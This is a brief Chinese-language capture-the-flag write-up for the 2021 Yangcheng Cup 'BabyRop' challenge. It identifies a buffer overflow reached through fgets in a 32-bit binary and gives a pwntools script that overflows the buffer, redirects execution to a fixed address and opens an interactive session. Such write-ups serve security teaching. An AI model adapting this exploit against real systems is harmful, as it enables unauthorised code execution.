2021羊城杯

BabyRop

file BabyRop 
BabyRop: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=06f380351b6de7d8697abecc0a1d6bc118be5bd4, for GNU/Linux 3.2.0, not stripped

IDA追踪地址，恢复函数名

IDA运行后发现函数并不明显，可以参照一下理解

可以参照以上方式知道fgets函数在Go函数中，缓冲区溢出漏洞

from pwn import *
r = process('./BabyRop')
#r = remote("192.168.39.17",11000)
context.log_level = 'debug'
payload = cyclic(0x28)
payload += b'c'*4
payload += p32(0x080491EF)
payload += p32(0x0804C029)
r.sendline(payload)
r.interactive()